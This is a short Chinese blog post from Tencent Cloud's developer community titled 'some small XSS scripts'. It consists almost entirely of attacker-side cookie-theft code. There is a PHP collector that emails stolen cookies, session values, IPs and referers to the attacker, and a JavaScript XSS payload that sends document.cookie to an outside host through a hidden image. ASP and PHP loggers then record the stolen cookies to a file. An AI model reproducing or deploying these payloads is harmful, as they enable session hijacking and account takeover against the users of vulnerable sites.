首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >xss一些小脚本

xss一些小脚本

作者头像
李维亮
发布于 2021-07-09 11:23:00
发布于 2021-07-09 11:23:00
4220
举报
文章被收录于专栏:李维亮的博客李维亮的博客

xss配合php获取cookie和session的脚本

代码语言:javascript
复制
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$to='xxx@yeah.net';
$referer = $_SERVER['HTTP_REFERER'];
$cookie = $_GET['cookie']; 
$session = $_GET['session'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$subject='远程XSS获取地址-域名:'.$referer;
$body="<p> 远程管理员IP= ".$ip."<p> 访问时间=" . date('d-m-Y').
"<p> 后台地址=".$referer."<p> 浏览器类型=".$agent."<p> 当前页面地址=".$referer."<p> COOKIE信息=".$cookie."<p> Session信息=".$$session.'&nbsp;'.
$headers= 'MIME-Version: 1.0' . "\r\n";
$headers.= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers.="Cleanreport.com";
mail($to, $subject, $body, $headers);
?></pre>
<pre><script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

PHP版代码:

代码语言:javascript
复制
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '
.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2016-03-04,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档